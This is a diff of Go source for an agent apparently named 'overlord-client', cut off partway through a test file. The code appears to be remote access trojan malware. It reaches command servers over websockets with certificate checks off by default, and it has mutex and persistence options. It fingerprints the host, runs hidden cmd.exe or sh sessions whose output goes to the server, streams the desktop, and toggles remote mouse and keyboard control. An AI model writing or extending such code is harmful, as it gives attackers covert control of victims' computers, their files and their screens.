img, err := captureDisplayDXGI(0)
|
||||
if err != nil {
|
||||
t.Fatalf("dxgi capture failed: %v", err)
|
||||
}
|
||||
if img == nil {
|
||||
t.Fatalf("dxgi capture returned nil image")
|
||||
}
|
||||
bounds := img.Bounds()
|
||||
if bounds.Dx() <= 0 || bounds.Dy() <= 0 {
|
||||
t.Fatalf("invalid capture bounds: %dx%d", bounds.Dx(), bounds.Dy())
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,334 @@
|
||||
package config
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
"bytes"
|
||||
"crypto/sha256"
|
||||
"encoding/hex"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"io"
|
||||
"log"
|
||||
"net/http"
|
||||
"net/url"
|
||||
"os"
|
||||
"runtime"
|
||||
"strings"
|
||||
"time"
|
||||
)
|
||||
|
||||
const AgentVersion = "1.0.0"
|
||||
|
||||
var DefaultPersistence = "false"
|
||||
var DefaultServerURL = "wss://127.0.0.1:5173"
|
||||
var DefaultServerURLIsRaw = "false"
|
||||
var DefaultMutex = ""
|
||||
var DefaultID = ""
|
||||
var DefaultCountry = ""
|
||||
var DefaultAgentToken = ""
|
||||
|
||||
const settingsFile = "config/settings.json"
|
||||
const serverIndexFile = "config/server_index.json"
|
||||
|
||||
type settings struct {
|
||||
ID string `json:"id"`
|
||||
HWID string `json:"hwid"`
|
||||
Country string `json:"country"`
|
||||
Version string `json:"version"`
|
||||
}
|
||||
|
||||
type serverIndexData struct {
|
||||
LastWorkingIndex int `json:"last_working_index"`
|
||||
}
|
||||
|
||||
type Config struct {
|
||||
ServerURLs []string
|
||||
ServerIndex int
|
||||
RawServerListURL string
|
||||
Mutex string
|
||||
ID string
|
||||
HWID string
|
||||
Country string
|
||||
OS string
|
||||
Arch string
|
||||
Version string
|
||||
CaptureInterval time.Duration
|
||||
DisableCapture bool
|
||||
EnablePersistence bool
|
||||
TLSInsecureSkipVerify bool
|
||||
TLSCAPath string
|
||||
TLSClientCert string
|
||||
TLSClientKey string
|
||||
AgentToken string
|
||||
}
|
||||
|
||||
func Load() Config {
|
||||
server := strings.TrimSpace(os.Getenv("OVERLORD_SERVER"))
|
||||
if server == "" {
|
||||
server = DefaultServerURL
|
||||
}
|
||||
|
||||
rawServerFlag := strings.TrimSpace(os.Getenv("OVERLORD_SERVER_RAW"))
|
||||
if rawServerFlag == "" {
|
||||
rawServerFlag = DefaultServerURLIsRaw
|
||||
}
|
||||
rawServerEnabled := isTruthy(rawServerFlag)
|
||||
|
||||
serverURLs := []string{}
|
||||
rawServerListURL := ""
|
||||
if rawServerEnabled {
|
||||
rawServerListURL = server
|
||||
if rawServerListURL != "" {
|
||||
if urls, err := LoadServerURLsFromRaw(rawServerListURL); err != nil {
|
||||
log.Printf("[config] WARNING: failed to load raw server list from %q: %v", rawServerListURL, err)
|
||||
} else {
|
||||
serverURLs = urls
|
||||
}
|
||||
}
|
||||
} else {
|
||||
for _, url := range strings.Split(server, ",") {
|
||||
normalized, err := normalizeServerURL(url)
|
||||
if err != nil {
|
||||
log.Printf("[config] WARNING: invalid server URL %q: %v", strings.TrimSpace(url), err)
|
||||
continue
|
||||
}
|
||||
if normalized != "" {
|
||||
serverURLs = append(serverURLs, normalized)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
serverIndex := loadServerIndex()
|
||||
|
||||
fileSettings := readSettings()
|
||||
defaultHWID := deriveHWID()
|
||||
interval := 20 * time.Second
|
||||
if v := strings.TrimSpace(os.Getenv("OVERLORD_CAPTURE_INTERVAL")); v != "" {
|
||||
if parsed, err := time.ParseDuration(v); err == nil && parsed > 0 {
|
||||
interval = parsed
|
||||
}
|
||||
}
|
||||
|
||||
disableCapture := false
|
||||
if v := strings.ToLower(strings.TrimSpace(os.Getenv("OVERLORD_DISABLE_CAPTURE"))); v != "" {
|
||||
disableCapture = v == "true" || v == "1" || v == "yes"
|
||||
}
|
||||
|
||||
enablePersistence := strings.ToLower(DefaultPersistence) == "true"
|
||||
if v := strings.ToLower(strings.TrimSpace(os.Getenv("OVERLORD_ENABLE_PERSISTENCE"))); v != "" {
|
||||
enablePersistence = v == "true" || v == "1" || v == "yes"
|
||||
}
|
||||
|
||||
tlsInsecureSkipVerify := true
|
||||
if v := strings.ToLower(strings.TrimSpace(os.Getenv("OVERLORD_TLS_INSECURE_SKIP_VERIFY"))); v != "" {
|
||||
tlsInsecureSkipVerify = v == "true" || v == "1" || v == "yes"
|
||||
}
|
||||
tlsCAPath := strings.TrimSpace(os.Getenv("OVERLORD_TLS_CA"))
|
||||
tlsClientCert := strings.TrimSpace(os.Getenv("OVERLORD_TLS_CLIENT_CERT"))
|
||||
tlsClientKey := strings.TrimSpace(os.Getenv("OVERLORD_TLS_CLIENT_KEY"))
|
||||
agentToken := strings.TrimSpace(os.Getenv("OVERLORD_AGENT_TOKEN"))
|
||||
if agentToken == "" {
|
||||
agentToken = strings.TrimSpace(DefaultAgentToken)
|
||||
}
|
||||
|
||||
mutex := strings.TrimSpace(os.Getenv("OVERLORD_MUTEX"))
|
||||
if mutex == "" {
|
||||
mutex = DefaultMutex
|
||||
}
|
||||
mutexLower := strings.ToLower(strings.TrimSpace(mutex))
|
||||
if mutexLower == "none" || mutexLower == "disabled" {
|
||||
mutex = ""
|
||||
}
|
||||
|
||||
return Config{
|
||||
ServerURLs: serverURLs,
|
||||
ServerIndex: serverIndex,
|
||||
RawServerListURL: rawServerListURL,
|
||||
Mutex: strings.TrimSpace(mutex),
|
||||
ID: defaultHWID,
|
||||
HWID: firstNonEmpty(fileSettings.HWID, defaultHWID),
|
||||
EnablePersistence: enablePersistence,
|
||||
Country: firstNonEmpty(strings.TrimSpace(fileSettings.Country), DefaultCountry),
|
||||
OS: runtime.GOOS,
|
||||
Arch: runtime.GOARCH,
|
||||
Version: firstNonEmpty(fileSettings.Version, AgentVersion),
|
||||
CaptureInterval: interval,
|
||||
DisableCapture: disableCapture,
|
||||
TLSInsecureSkipVerify: tlsInsecureSkipVerify,
|
||||
TLSCAPath: tlsCAPath,
|
||||
TLSClientCert: tlsClientCert,
|
||||
TLSClientKey: tlsClientKey,
|
||||
AgentToken: agentToken,
|
||||
}
|
||||
}
|
||||
|
||||
func isTruthy(value string) bool {
|
||||
v := strings.ToLower(strings.TrimSpace(value))
|
||||
return v == "true" || v == "1" || v == "yes" || v == "y"
|
||||
}
|
||||
|
||||
func LoadServerURLsFromRaw(rawURL string) ([]string, error) {
|
||||
trimmed := strings.TrimSpace(rawURL)
|
||||
if trimmed == "" {
|
||||
return nil, fmt.Errorf("raw server list URL is empty")
|
||||
}
|
||||
|
||||
parsed, err := url.Parse(trimmed)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
if parsed.Scheme == "" {
|
||||
parsed.Scheme = "https"
|
||||
}
|
||||
|
||||
scheme := strings.ToLower(parsed.Scheme)
|
||||
if scheme != "https" && scheme != "http" {
|
||||
return nil, fmt.Errorf("unsupported raw server list scheme: %s", parsed.Scheme)
|
||||
}
|
||||
|
||||
client := &http.Client{Timeout: 10 * time.Second}
|
||||
resp, err := client.Get(parsed.String())
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
|
||||
if resp.StatusCode < 200 || resp.StatusCode >= 300 {
|
||||
return nil, fmt.Errorf("unexpected status code %d", resp.StatusCode)
|
||||
}
|
||||
|
||||
body, err := io.ReadAll(resp.Body)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
urls := []string{}
|
||||
seen := map[string]struct{}{}
|
||||
scanner := bufio.NewScanner(bytes.NewReader(body))
|
||||
for scanner.Scan() {
|
||||
line := strings.TrimSpace(scanner.Text())
|
||||
if line == "" || strings.HasPrefix(line, "#") {
|
||||
continue
|
||||
}
|
||||
normalized, err := normalizeServerURL(line)
|
||||
if err != nil {
|
||||
log.Printf("[config] WARNING: invalid server URL in raw list %q: %v", line, err)
|
||||
continue
|
||||
}
|
||||
if normalized == "" {
|
||||
continue
|
||||
}
|
||||
if _, ok := seen[normalized]; ok {
|
||||
continue
|
||||
}
|
||||
seen[normalized] = struct{}{}
|
||||
urls = append(urls, normalized)
|
||||
}
|
||||
|
||||
if err := scanner.Err(); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
if len(urls) == 0 {
|
||||
return nil, fmt.Errorf("raw server list returned no valid URLs")
|
||||
}
|
||||
|
||||
return urls, nil
|
||||
}
|
||||
|
||||
func loadServerIndex() int {
|
||||
bytes, err := os.ReadFile(serverIndexFile)
|
||||
if err != nil {
|
||||
return 0
|
||||
}
|
||||
var data serverIndexData
|
||||
if err := json.Unmarshal(bytes, &data); err != nil {
|
||||
return 0
|
||||
}
|
||||
return data.LastWorkingIndex
|
||||
}
|
||||
|
||||
func SaveServerIndex(index int) error {
|
||||
data := serverIndexData{LastWorkingIndex: index}
|
||||
bytes, err := json.Marshal(data)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
return os.WriteFile(serverIndexFile, bytes, 0644)
|
||||
}
|
||||
|
||||
func readSettings() settings {
|
||||
bytes, err := os.ReadFile(settingsFile)
|
||||
if err != nil {
|
||||
return settings{}
|
||||
}
|
||||
var s settings
|
||||
if err := json.Unmarshal(bytes, &s); err != nil {
|
||||
return settings{}
|
||||
}
|
||||
return s
|
||||
}
|
||||
|
||||
func firstNonEmpty(values ...string) string {
|
||||
for _, v := range values {
|
||||
if strings.TrimSpace(v) != "" {
|
||||
return v
|
||||
}
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
func deriveHWID() string {
|
||||
h := sha256.New()
|
||||
h.Write([]byte(hostname()))
|
||||
h.Write([]byte("|"))
|
||||
h.Write([]byte(os.Getenv("USERNAME")))
|
||||
h.Write([]byte("|"))
|
||||
h.Write([]byte(runtime.GOOS))
|
||||
h.Write([]byte("|"))
|
||||
h.Write([]byte(runtime.GOARCH))
|
||||
return hex.EncodeToString(h.Sum(nil))
|
||||
}
|
||||
|
||||
func hostname() string {
|
||||
h, err := os.Hostname()
|
||||
if err != nil {
|
||||
return "unknown"
|
||||
}
|
||||
return h
|
||||
}
|
||||
|
||||
func normalizeServerURL(raw string) (string, error) {
|
||||
trimmed := strings.TrimSpace(raw)
|
||||
if trimmed == "" {
|
||||
return "", nil
|
||||
}
|
||||
|
||||
normalized := trimmed
|
||||
if !strings.Contains(normalized, "://") {
|
||||
normalized = "wss://" + normalized
|
||||
}
|
||||
|
||||
parsed, err := url.Parse(normalized)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
|
||||
switch strings.ToLower(parsed.Scheme) {
|
||||
case "ws", "wss":
|
||||
case "http":
|
||||
parsed.Scheme = "ws"
|
||||
case "https":
|
||||
parsed.Scheme = "wss"
|
||||
default:
|
||||
return "", fmt.Errorf("unsupported scheme: %s", parsed.Scheme)
|
||||
}
|
||||
|
||||
if parsed.Host == "" {
|
||||
return "", fmt.Errorf("missing host")
|
||||
}
|
||||
|
||||
parsed.Path = strings.TrimRight(parsed.Path, "/")
|
||||
return parsed.String(), nil
|
||||
}
|
||||
@@ -0,0 +1,174 @@
|
||||
package console
|
||||
|
||||
import (
|
||||
"context"
|
||||
"errors"
|
||||
"io"
|
||||
"os"
|
||||
"os/exec"
|
||||
"runtime"
|
||||
"sync"
|
||||
|
||||
rt "overlord-client/cmd/agent/runtime"
|
||||
"overlord-client/cmd/agent/wire"
|
||||
)
|
||||
|
||||
type session struct {
|
||||
id string
|
||||
cmd *exec.Cmd
|
||||
stdin io.WriteCloser
|
||||
cancel context.CancelFunc
|
||||
env *rt.Env
|
||||
closed chan struct{}
|
||||
once sync.Once
|
||||
}
|
||||
|
||||
var sessions sync.Map
|
||||
|
||||
func shellCommand() []string {
|
||||
if runtime.GOOS == "windows" {
|
||||
return []string{"cmd.exe", "/d"}
|
||||
}
|
||||
|
||||
return []string{"/bin/sh"}
|
||||
}
|
||||
|
||||
func Start(ctx context.Context, env *rt.Env, sessionID string, _ int, _ int) error {
|
||||
if sessionID == "" {
|
||||
return errors.New("session id required")
|
||||
}
|
||||
|
||||
Stop(sessionID)
|
||||
|
||||
parts := shellCommand()
|
||||
cctx, cancel := context.WithCancel(ctx)
|
||||
cmd := exec.CommandContext(cctx, parts[0], parts[1:]...)
|
||||
if attr := platformSysProcAttr(); attr != nil {
|
||||
cmd.SysProcAttr = attr
|
||||
}
|
||||
cmd.Env = append(os.Environ(), "CLINK_NOAUTORUN=1")
|
||||
|
||||
stdin, err := cmd.StdinPipe()
|
||||
if err != nil {
|
||||
cancel()
|
||||
return err
|
||||
}
|
||||
stdout, err := cmd.StdoutPipe()
|
||||
if err != nil {
|
||||
cancel()
|
||||
return err
|
||||
}
|
||||
stderr, err := cmd.StderrPipe()
|
||||
if err != nil {
|
||||
cancel()
|
||||
return err
|
||||
}
|
||||
|
||||
if err := cmd.Start(); err != nil {
|
||||
cancel()
|
||||
return err
|
||||
}
|
||||
|
||||
sess := &session{id: sessionID, cmd: cmd, stdin: stdin, cancel: cancel, env: env, closed: make(chan struct{})}
|
||||
sessions.Store(sessionID, sess)
|
||||
|
||||
go sess.forwardOutput(stdout)
|
||||
go sess.forwardOutput(stderr)
|
||||
go sess.waitExit()
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
func Stop(sessionID string) {
|
||||
val, ok := sessions.LoadAndDelete(sessionID)
|
||||
if !ok {
|
||||
return
|
||||
}
|
||||
sess := val.(*session)
|
||||
sess.cancel()
|
||||
if sess.cmd.Process != nil {
|
||||
_ = sess.cmd.Process.Kill()
|
||||
}
|
||||
sess.once.Do(func() { close(sess.closed) })
|
||||
}
|
||||
|
||||
func Input(sessionID string, data string) error {
|
||||
val, ok := sessions.Load(sessionID)
|
||||
if !ok {
|
||||
return errors.New("session not found")
|
||||
}
|
||||
sess := val.(*session)
|
||||
if sess.stdin == nil {
|
||||
return errors.New("stdin missing")
|
||||
}
|
||||
_, err := sess.stdin.Write([]byte(data))
|
||||
return err
|
||||
}
|
||||
|
||||
func Resize(_ string, _ int, _ int) {
|
||||
|
||||
}
|
||||
|
||||
func (s *session) forwardOutput(r io.Reader) {
|
||||
buf := make([]byte, 4096)
|
||||
for {
|
||||
n, err := r.Read(buf)
|
||||
if n > 0 {
|
||||
clean := stripBackspaces(buf[:n])
|
||||
if len(clean) > 0 {
|
||||
_ = sendOutput(s.env, s.id, clean, nil, "")
|
||||
}
|
||||
}
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func (s *session) waitExit() {
|
||||
err := s.cmd.Wait()
|
||||
var codePtr *int
|
||||
msg := ""
|
||||
if err != nil {
|
||||
if exitErr, ok := err.(*exec.ExitError); ok {
|
||||
code := exitErr.ExitCode()
|
||||
codePtr = &code
|
||||
} else {
|
||||
msg = err.Error()
|
||||
}
|
||||
} else {
|
||||
code := 0
|
||||
codePtr = &code
|
||||
}
|
||||
_ = sendOutput(s.env, s.id, nil, codePtr, msg)
|
||||
sessions.Delete(s.id)
|
||||
s.once.Do(func() { close(s.closed) })
|
||||
}
|
||||
|
||||
func sendOutput(env *rt.Env, sessionID string, data []byte, exitCode *int, errMsg string) error {
|
||||
payload := wire.ConsoleOutput{Type: "console_output", SessionID: sessionID}
|
||||
if len(data) > 0 {
|
||||
payload.Data = data
|
||||
}
|
||||
if errMsg != "" {
|
||||
payload.Error = errMsg
|
||||
}
|
||||
if exitCode != nil {
|
||||
payload.ExitCode = exitCode
|
||||
}
|
||||
return wire.WriteMsg(context.Background(), env.Conn, payload)
|
||||
}
|
||||
|
||||
func stripBackspaces(src []byte) []byte {
|
||||
out := make([]byte, 0, len(src))
|
||||
for _, b := range src {
|
||||
if b == '\b' {
|
||||
if len(out) > 0 {
|
||||
out = out[:len(out)-1]
|
||||
}
|
||||
continue
|
||||
}
|
||||
out = append(out, b)
|
||||
}
|
||||
return out
|
||||
}
|
||||
@@ -0,0 +1,9 @@
|
||||
//go:build !windows
|
||||
|
||||
package console
|
||||
|
||||
import "syscall"
|
||||
|
||||
func platformSysProcAttr() *syscall.SysProcAttr {
|
||||
return nil
|
||||
}
|
||||
@@ -0,0 +1,9 @@
|
||||
//go:build windows
|
||||
|
||||
package console
|
||||
|
||||
import "syscall"
|
||||
|
||||
func platformSysProcAttr() *syscall.SysProcAttr {
|
||||
return &syscall.SysProcAttr{HideWindow: true}
|
||||
}
|
||||
@@ -0,0 +1,83 @@
|
||||
package main
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"log"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"runtime"
|
||||
"runtime/debug"
|
||||
"time"
|
||||
)
|
||||
|
||||
const crashLogFileName = "crashlogC.log"
|
||||
|
||||
func handleFatalPanic() {
|
||||
if r := recover(); r != nil {
|
||||
reason := fmt.Sprintf("panic: %v", r)
|
||||
stack := debug.Stack()
|
||||
path := writeCrashLog(reason, stack)
|
||||
log.Printf("[fatal] %s (see %s)", reason, path)
|
||||
os.Exit(1)
|
||||
}
|
||||
}
|
||||
|
||||
func fatalExit(reason string, err error) {
|
||||
if err != nil {
|
||||
reason = fmt.Sprintf("%s: %v", reason, err)
|
||||
}
|
||||
if reason == "" {
|
||||
reason = "fatal error"
|
||||
}
|
||||
stack := debug.Stack()
|
||||
path := writeCrashLog(reason, stack)
|
||||
log.Printf("[fatal] %s (see %s)", reason, path)
|
||||
os.Exit(1)
|
||||
}
|
||||
|
||||
func goSafe(label string, cancel context.CancelFunc, fn func()) {
|
||||
go func() {
|
||||
defer recoverAndLog(label, cancel)
|
||||
fn()
|
||||
}()
|
||||
}
|
||||
|
||||
func recoverAndLog(label string, cancel context.CancelFunc) {
|
||||
if r := recover(); r != nil {
|
||||
reason := fmt.Sprintf("%s panic: %v", label, r)
|
||||
stack := debug.Stack()
|
||||
path := writeCrashLog(reason, stack)
|
||||
log.Printf("[panic] %s (see %s)", reason, path)
|
||||
if cancel != nil {
|
||||
cancel()
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func writeCrashLog(reason string, stack []byte) string {
|
||||
dir := crashLogDir()
|
||||
_ = os.MkdirAll(dir, 0700)
|
||||
path := filepath.Join(dir, crashLogFileName)
|
||||
|
||||
file, err := os.OpenFile(path, os.O_CREATE|os.O_APPEND|os.O_WRONLY, 0600)
|
||||
if err != nil {
|
||||
log.Printf("[fatal] failed to open crash log %s: %v", path, err)
|
||||
return path
|
||||
}
|
||||
defer file.Close()
|
||||
|
||||
timestamp := time.Now().UTC().Format(time.RFC3339)
|
||||
_, _ = fmt.Fprintf(file, "\n=== %s ===\n", timestamp)
|
||||
_, _ = fmt.Fprintf(file, "GOOS=%s GOARCH=%s\n", runtime.GOOS, runtime.GOARCH)
|
||||
_, _ = fmt.Fprintf(file, "Reason: %s\n", reason)
|
||||
if len(stack) > 0 {
|
||||
_, _ = fmt.Fprintf(file, "Stack:\n%s\n", string(stack))
|
||||
}
|
||||
|
||||
return path
|
||||
}
|
||||
|
||||
func crashLogDir() string {
|
||||
return os.TempDir()
|
||||
}
|
||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,92 @@
|
||||
package handlers
|
||||
|
||||
import (
|
||||
"context"
|
||||
"log"
|
||||
"overlord-client/cmd/agent/capture"
|
||||
rt "overlord-client/cmd/agent/runtime"
|
||||
"sync"
|
||||
"time"
|
||||
)
|
||||
|
||||
var (
|
||||
persistedDisplayValue int
|
||||
persistedDisplayMu sync.Mutex
|
||||
)
|
||||
|
||||
func persistDisplaySelection(display int) {
|
||||
persistedDisplayMu.Lock()
|
||||
persistedDisplayValue = display
|
||||
persistedDisplayMu.Unlock()
|
||||
}
|
||||
|
||||
func GetPersistedDisplay() int {
|
||||
persistedDisplayMu.Lock()
|
||||
defer persistedDisplayMu.Unlock()
|
||||
return persistedDisplayValue
|
||||
}
|
||||
|
||||
func DesktopStart(ctx context.Context, env *rt.Env) error {
|
||||
interval, fps := streamInterval("OVERLORD_DESKTOP_MAX_FPS", 60)
|
||||
log.Printf("desktop: starting stream (max fps %d)", fps)
|
||||
ticker := time.NewTicker(interval)
|
||||
defer ticker.Stop()
|
||||
for {
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
log.Printf("desktop: stopping stream")
|
||||
return nil
|
||||
case <-ticker.C:
|
||||
if err := capture.Now(ctx, env); err != nil {
|
||||
if ctx.Err() != nil {
|
||||
log.Printf("desktop: stopping stream")
|
||||
return nil
|
||||
}
|
||||
log.Printf("desktop: capture error: %v", err)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func DesktopSelect(ctx context.Context, env *rt.Env, display int) error {
|
||||
prev := env.SelectedDisplay
|
||||
maxDisplays := capture.MonitorCount()
|
||||
if display < 0 || display >= maxDisplays {
|
||||
log.Printf("desktop: WARNING - requested display %d out of range (0-%d), clamping to 0", display, maxDisplays-1)
|
||||
display = 0
|
||||
}
|
||||
env.SelectedDisplay = display
|
||||
|
||||
persistDisplaySelection(display)
|
||||
if prev != display {
|
||||
capture.ResetPrev()
|
||||
capture.ResetDesktopCapture()
|
||||
}
|
||||
log.Printf("desktop: set selected display from %d to %d (reported monitors=%d, will capture monitor at index %d)", prev, display, maxDisplays, display)
|
||||
return nil
|
||||
}
|
||||
|
||||
func DesktopMouseControl(ctx context.Context, env *rt.Env, enabled bool) error {
|
||||
env.MouseControl = enabled
|
||||
return nil
|
||||
}
|
||||
|
||||
func DesktopKeyboardControl(ctx context.Context, env *rt.Env, enabled bool) error {
|
||||
env.KeyboardControl = enabled
|
||||
return nil
|
||||
}
|
||||
|
||||
func DesktopCursorControl(ctx context.Context, env *rt.Env, enabled bool) error {
|
||||
env.CursorCapture = enabled
|
||||
capture.SetCursorCapture(enabled)
|
||||
return nil
|
||||
}
|
||||
|
||||
func DesktopDuplicationControl(ctx context.Context, env *rt.Env, enabled bool) error {
|
||||
env.DesktopDuplication = enabled
|
||||
capture.SetDesktopDuplication(enabled)
|
||||
capture.ResetPrev()
|
||||
capture.ResetDesktopCapture()
|
||||
capture.ResetMonitorCache()
|
||||
return nil
|
||||
}
|
||||
@@ -0,0 +1,28 @@
|
||||
package handlers
|
||||
|
||||
import "overlord-client/cmd/agent/capture"
|
||||
|
||||
func resolveDesktopPoint(display int, x, y int32) (int32, int32) {
|
||||
bounds := capture.DisplayBounds(display)
|
||||
if bounds.Dx() <= 0 || bounds.Dy() <= 0 {
|
||||
return x, y
|
||||
}
|
||||
|
||||
absX := int32(bounds.Min.X) + x
|
||||
absY := int32(bounds.Min.Y) + y
|
||||
|
||||
if absX < int32(bounds.Min.X) {
|
||||
absX = int32(bounds.Min.X)
|
||||
}
|
||||
if absY < int32(bounds.Min.Y) {
|
||||
absY = int32(bounds.Min.Y)
|
||||
}
|
||||
if absX >= int32(bounds.Max.X) {
|
||||
absX = int32(bounds.Max.X - 1)
|
||||
}
|
||||
if absY >= int32(bounds.Max.Y) {
|
||||
absY = int32(bounds.Max.Y - 1)
|
||||
}
|
||||
|
||||
return absX, absY
|
||||
}
|
||||
@@ -0,0 +1,70 @@
|
||||
package handlers
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"log"
|
||||
|
||||
"overlord-client/cmd/agent/runtime"
|
||||
)
|
||||
|
||||
type Dispatcher struct {
|
||||
Env *runtime.Env
|
||||
}
|
||||
|
||||
func NewDispatcher(env *runtime.Env) *Dispatcher {
|
||||
return &Dispatcher{Env: env}
|
||||
}
|
||||
|
||||
func (d *Dispatcher) Dispatch(ctx context.Context, envelope map[string]interface{}) (err error) {
|
||||
defer func() {
|
||||
if r := recover(); r != nil {
|
||||
log.Printf("dispatcher: panic: %v", r)
|
||||
err = fmt.Errorf("dispatcher panic: %v", r)
|
||||
}
|
||||
}()
|
||||
|
||||
msgTypeRaw := envelope["type"]
|
||||
msgType, _ := msgTypeRaw.(string)
|
||||
if msgType == "" {
|
||||
log.Printf("dispatcher: missing type (keys=%v)", envelopeKeys(envelope))
|
||||
return nil
|
||||
}
|
||||
switch msgType {
|
||||
case "hello_ack":
|
||||
return HandleHelloAck(ctx, d.Env, envelope)
|
||||
case "ping":
|
||||
log.Printf("dispatcher: received ping")
|
||||
return HandlePing(ctx, d.Env, envelope)
|
||||
case "pong":
|
||||
return HandlePong(ctx, d.Env, envelope)
|
||||
case "command":
|
||||
log.Printf("dispatcher: handling command type=%s", envelope["commandType"])
|
||||
return HandleCommand(ctx, d.Env, envelope)
|
||||
case "plugin_event":
|
||||
return HandlePluginEvent(ctx, d.Env, envelope)
|
||||
case "notification_config":
|
||||
return HandleNotificationConfig(ctx, d.Env, envelope)
|
||||
case "command_abort":
|
||||
cmdID, _ := envelope["commandId"].(string)
|
||||
if cmdID != "" {
|
||||
if cancelCommand(cmdID) {
|
||||
log.Printf("dispatcher: cancelled command %s", cmdID)
|
||||
} else {
|
||||
log.Printf("dispatcher: command %s not found or already completed", cmdID)
|
||||
}
|
||||
}
|
||||
return nil
|
||||
default:
|
||||
log.Printf("dispatcher: unknown message type=%v", msgType)
|
||||
return nil
|
||||
}
|
||||
}
|
||||
|
||||
func envelopeKeys(envelope map[string]interface{}) []string {
|
||||
keys := make([]string, 0, len(envelope))
|
||||
for key := range envelope {
|
||||
keys = append(keys, key)
|
||||
}
|
||||
return keys
|
||||
}
|
||||
@@ -0,0 +1,304 @@
|
||||
package handlers
|
||||
|
||||
import (
|
||||
"context"
|
||||
"errors"
|
||||
"testing"
|
||||
|
||||
"overlord-client/cmd/agent/config"
|
||||
rt "overlord-client/cmd/agent/runtime"
|
||||
"overlord-client/cmd/agent/wire"
|
||||
|
||||
"github.com/vmihailenco/msgpack/v5"
|
||||
)
|
||||
|
||||
func TestHandlePing(t *testing.T) {
|
||||
writer := &testWriter{}
|
||||
env := &rt.Env{
|
||||
Conn: writer,
|
||||
Cfg: config.Config{},
|
||||
}
|
||||
|
||||
ctx := context.Background()
|
||||
envelope := map[string]interface{}{
|
||||
"ts": float64(1234567890),
|
||||
}
|
||||
|
||||
if err := HandlePing(ctx, env, envelope); err != nil {
|
||||
t.Fatalf("HandlePing failed: %v", err)
|
||||
}
|
||||
|
||||
if len(writer.msgs) < 1 {
|
||||
t.Fatal("Expected at least 1 message")
|
||||
}
|
||||
|
||||
var pong wire.Pong
|
||||
if err := msgpack.Unmarshal(writer.msgs[0], &pong); err != nil {
|
||||
t.Fatalf("Failed to unmarshal pong: %v", err)
|
||||
}
|
||||
|
||||
if pong.Type != "pong" {
|
||||
t.Errorf("Expected type 'pong', got '%s'", pong.Type)
|
||||
}
|
||||
expectedTS := int64(1234567890)
|
||||
if pong.TS != expectedTS {
|
||||
t.Errorf("Expected timestamp %d, got %d", expectedTS, pong.TS)
|
||||
}
|
||||
}
|
||||
|
||||
func TestHandleCommand_Ping(t *testing.T) {
|
||||
writer := &testWriter{}
|
||||
env := &rt.Env{
|
||||
Conn: writer,
|
||||
Cfg: config.Config{},
|
||||
}
|
||||
|
||||
ctx := context.Background()
|
||||
|
||||
envelope := map[string]interface{}{
|
||||
"type": "command",
|
||||
"commandType": "ping",
|
||||
"id": "cmd-ping-1",
|
||||
"ts": float64(1234567890),
|
||||
}
|
||||
|
||||
if err := HandleCommand(ctx, env, envelope); err != nil {
|
||||
t.Fatalf("HandleCommand(ping) failed: %v", err)
|
||||
}
|
||||
|
||||
if len(writer.msgs) < 1 {
|
||||
t.Fatal("Expected at least 1 message")
|
||||
}
|
||||
|
||||
var firstMsg map[string]interface{}
|
||||
if err := msgpack.Unmarshal(writer.msgs[0], &firstMsg); err != nil {
|
||||
t.Fatalf("Failed to unmarshal first message: %v", err)
|
||||
}
|
||||
|
||||
msgType, _ := firstMsg["type"].(string)
|
||||
t.Logf("First message type: %s", msgType)
|
||||
}
|
||||
|
||||
func TestHandleCommand_Desktop(t *testing.T) {
|
||||
writer := &testWriter{}
|
||||
env := &rt.Env{
|
||||
Conn: writer,
|
||||
Cfg: config.Config{},
|
||||
}
|
||||
|
||||
ctx := context.Background()
|
||||
|
||||
envelope := map[string]interface{}{
|
||||
"type": "command",
|
||||
"commandType": "desktop",
|
||||
"id": "cmd-desktop-1",
|
||||
"payload": map[string]interface{}{},
|
||||
}
|
||||
|
||||
if err := HandleCommand(ctx, env, envelope); err != nil {
|
||||
t.Fatalf("HandleCommand(desktop) failed: %v", err)
|
||||
}
|
||||
|
||||
t.Logf("Desktop command sent %d messages", len(writer.msgs))
|
||||
}
|
||||
|
||||
func TestHandleCommand_ProcessList(t *testing.T) {
|
||||
writer := &testWriter{}
|
||||
env := &rt.Env{
|
||||
Conn: writer,
|
||||
Cfg: config.Config{},
|
||||
}
|
||||
|
||||
ctx := context.Background()
|
||||
|
||||
envelope := map[string]interface{}{
|
||||
"type": "command",
|
||||
"commandType": "process_list",
|
||||
"id": "cmd-proc-1",
|
||||
"payload": map[string]interface{}{},
|
||||
}
|
||||
|
||||
if err := HandleCommand(ctx, env, envelope); err != nil {
|
||||
t.Fatalf("HandleCommand(process_list) failed: %v", err)
|
||||
}
|
||||
|
||||
if len(writer.msgs) != 1 {
|
||||
t.Fatalf("Expected 1 message, got %d", len(writer.msgs))
|
||||
}
|
||||
|
||||
var result wire.ProcessListResult
|
||||
if err := msgpack.Unmarshal(writer.msgs[0], &result); err != nil {
|
||||
t.Fatalf("Failed to unmarshal result: %v", err)
|
||||
}
|
||||
|
||||
if result.Type != "process_list_result" {
|
||||
t.Errorf("Expected process_list_result")
|
||||
}
|
||||
}
|
||||
|
||||
func TestHandleCommand_FileList(t *testing.T) {
|
||||
writer := &testWriter{}
|
||||
env := &rt.Env{
|
||||
Conn: writer,
|
||||
Cfg: config.Config{},
|
